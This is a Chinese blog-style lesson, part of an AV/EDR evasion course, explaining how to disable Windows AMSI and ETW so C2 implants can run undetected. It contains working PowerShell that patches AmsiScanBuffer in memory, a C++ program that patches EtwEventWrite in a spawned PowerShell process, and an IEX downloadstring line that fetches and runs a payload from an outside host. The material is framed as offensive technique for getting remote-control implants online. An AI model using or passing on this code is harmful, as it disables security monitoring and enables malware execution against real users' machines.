免杀对抗——C2远控篇&PowerShell&C#&对抗AV-EDR&停用AMSI接口&阻断ETW跟踪&调用

免杀对抗------第一百五十六天

C2远控篇&PowerShell&C#&对抗AV-EDR&停用AMSI接口&阻断ETW跟踪&调用

前置知识

什么是AMSI?
  • 我们上节课也简单提到了一点AMSI的基础内容,然后讲解了关于它简单的绕过方式,那这里还是再次介绍介绍它是什么东西

  • AMSI(Antimalware Scan Interface,反恶意软件扫描接口),是微软从 Windows 10 和 Windows Server 2016 开始引入的安全机制,旨在增强对动态脚本、内存攻击和无文件恶意软件的检测能力

  • 它为应用程序提供标准接口,将待执行的脚本/代码内容实时提交给反恶意软件引擎(默认集成 Windows Defender)扫描,在恶意代码执行前拦截威胁

  • ++AMSI通过amsi.dll实现的,可以通过DF或者第三方的AV引擎(卡巴、DF、ESET等国外杀软)进行调用,主要拦截PowerShell、VBScript、JS、Office VBA宏、.NET等脚本语言++

  • 执行流程:

shell 复制代码
初始化 → 打开会话 → 数据扫描 → 结果处理 → 关闭会话 → 终止
  ↓
AmsiInitialize → AmsiOpenSession → AmsiScanBuffer/String → 返回结果 → AmsiCloseSession → AmsiUninitialize
  • 当 PowerShell 执行代码时,amsi.dll 被注入进程空间,脚本内容在解释执行前通过 AmsiScanBuffer/AmsiScanString 函数提交检测。若检测到恶意签名(如 Invoke-Mimikatz),执行将被立即终止并告警
什么是ETW和EDR?
  • ETW(Event Tracing for Windows,Windows 事件追踪),是微软在Windows操作系统中提供的一种高效事件跟踪机制。它可以收集系统和应用程序的关键事件,帮助开发者和IT管理员进行性能分析、故障诊断和监控。
  • EDR(Endpoint Detection and Response,端点检测与响应),是一种面向主机和终端的安全防护技术,用于持续监控、检测、分析并响应网络威胁。它不仅能发现已知威胁,还能识别未知或变种攻击,并在威胁扩散前进行处置。
  • 其实都是一种监控技术,主要是看当前系统有没有一些恶意敏感的操作,然后进行预警和拦截
如何查看程序是否调用AMSI?
  • 我们通过一些进程工具可以看到powershell调用了amsi.dll,也就开启了AMSI服务:

  • 并且通过一些调试程序(X64dbg)可以看到调用了里面的哪些模块,可以看到这里调用了AmsiScanBuffer:

  • 那这个AmsiScanbBuffer是什么呢,我们可以看下面这张图:

  • 所以如果我们在powershell中输入一些敏感的字符串,那他就会进行扫描并报出提示:

C2远控 - PowerShell&C#-Bypass AMSI

  • 我们在上面的演示中知道了AMSI是通过AmsiScanBuffer去扫描缓冲区中的恶意内容的,我们双击来到它的加载代码处:

  • 可以看到这里是什么mov r11, rsp,那我们最简单的绕过思路就是对他进行HOOK,让他执行到这里的时候jmp或者ret,从而不让他加载

  • 我们给出一个简单的代码:

powershell 复制代码
IEX ((new-object net.webclient).downloadstring('http://192.168.0.129:8089/shell'))

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
# 找到amsi.dll中的AmsiScanBuffer模块地址
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
# 修改内存保护为可读可写可执行
[Win32]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p)
# 写入shellcode
# 0xB8:mov eax, imm32 指令
# 0x57, 0x00, 0x07, 0x80:立即数 0x80070057(HRESULT 错误码 E_INVALIDARG),目的是让其执行到这里时报错
# 0xC3:ret指令,让函数返回
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
  • 我们还需要对他进行混淆,否则会被杀,然后运行这个脚本文件可以看到还是绕过不了:

  • 但是这里应该杀的是CS下载回来的sss文件,而不是我们本身的代码文件,所以可能之后到CS魔改之后能够尝试绕过

  • 当然这种是将AMSI绕过代码和上线代码放在一起的,我们更多的还是先尝试绕过AMSI,然后再去执行我们的上线代码:

powershell 复制代码
function get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
}
function get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function Invoke-AMZZ {
    $ppruhu = get_proc_address amsi.dll "AmsiScanBuffer"
    $virpro = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((get_proc_address kernel32.dll VirtualProtect),(get_delegate_type (@([System.IntPtr], [System.UIntPtr], [System.UInt32], [System.UInt32].MakeByRefType())) ([System.Boolean])));$p = 0
    $virpro.Invoke($ppruhu, [UInt32]5, 0x40, [ref]$p)
    $scnfh = @([Byte] 0xB8, [Byte] 0x57, [Byte] 0x00,[Byte] 0x07, [Byte] 0x80, [Byte] 0xC3)
    [System.Runtime.InteropServices.Marshal]::Copy($scnfh, 0, $ppruhu, 6)
     
}

Invoke-AMZZ
  • 但是这个也是已经失效了,然后我尝试混淆代码,不过还是失败,目前还是需要其他的方法来绕过AMSI,反正不管怎么样,就作为一种绕过思路吧

C2远控 - PowerShell&C#-Bypass ETW

  • Windows事件跟踪(ETW)提供了一种机制来跟踪和记录由用户模式应用程序和内核模式驱动程序引发的事件,Windows威胁情报事件跟踪还能提供来自内核的跟踪,并允许以各种方式使用这些跟踪。BlueTeam如何检测.NET的恶意执行,它通过诸如execute-assembly 我们的工具包被曝光。在红队测试工具CS有个功能叫做execute_assembly,能够从内存中加载.NET程序集,这个功能不需要向硬盘中写入文件,十分隐蔽,而且现有的PowerShell利用脚本能够很容易的转换为C#代码,十分方便,简单来说就是它会在Process中执行 .NET Assemblies。原理是通过系统提供的API(ICLRMetaHost)达到CLR载入的效果。

  • 一句话总结就是,红队会通过CLR接口,利用execute_assembly等技术实现无文件的内存.NET程序集加载执行,因此蓝队需要借助ETW等技术来应对这一威胁。

  • 我们用ProcessHacker(管理员权限打开)查看powershell的进程信息,可以发现它这里的.NET assemblies有CLR的东西:

  • 然后在Modules中可以看到这个功能是封装到ntdll.dll中的:

  • 然后基本是通过EtwEventWrite实现的,所以我们可以通过X64debug去看到这个的调用地址:

  • 那就是老办法了,我们要绕过它,就可以通过修改这里的mov为ret或者jmp,让他不继续往下执行,代码如下:

cpp 复制代码
#include <Windows.h>
#include <Tlhelp32.h>
int main() {
	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	// 1. 建立一个 Powershell Process,并取得 Process Handle
	CreateProcessA(NULL, (LPSTR)"powershell -noexit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

	// 2. 从 ntdll.dll 中取得 EtwEventWrite 的地址
	HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
	LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

	// 3. 把 EtwEventWrite 的地址的权限改成可读、可写、可执行(rwx)
	DWORD oldProtect;
	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

	// 4. 将 EtwEventWrite 的第一个 byte 改成 0xc3,也就是ret返回指令
	char patch = 0xc3;
	WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);

	// 5. 把 EtwEventWrite 的权限改回,并且继续执行 Process
	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
	ResumeThread(pi.hThread);

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	return 0;
}
  • 和之前的Hook技术类似,就是找到EtwEventWrite的地址,然后将其改为0x3C,即ret,我们将生成的程序放到目标主机上运行,再次通过ProcessHacker查看powershell的.NET assemblies属性时,就会显示超时返回,查看不了了:

  • 同样,用X64debug查看时,会发现原本的mov变成了ret:

  • 今天的内容主要就是关于AMSI和ETW的绕过,那本节课的手段只能够绕过ETW,针对AMSI的绕过手段可能还需要进一步学习更高级的方法才有效果

相关推荐
JienDa1 小时前
JienDa聊PHP:电商系统实战架构深度解析与优化策略
开发语言·架构·php
k***3881 小时前
Golang 构建学习
开发语言·学习·golang
zzzsde1 小时前
【C++】异常:概念及使用
开发语言·c++·算法
繁星星繁1 小时前
CMake快速上手
c语言·c++·编辑器·学习方法·visual studio code
代码不停1 小时前
Java栈题目练习
java·开发语言
stars-he1 小时前
单片机转换电路学习笔记
笔记·单片机·学习
●VON1 小时前
从零开始:用 Flutter 构建一个简洁高效的待办事项应用V1.0.0
学习·flutter·arm·openharmony·开源鸿蒙
xxp43211 小时前
Qt 多线程
开发语言·qt
●VON1 小时前
Flutter for OpenHarmony前置知识《Flutter 基础组件初探:第一章》
学习·flutter·跨平台·开发·openharmony·开源鸿蒙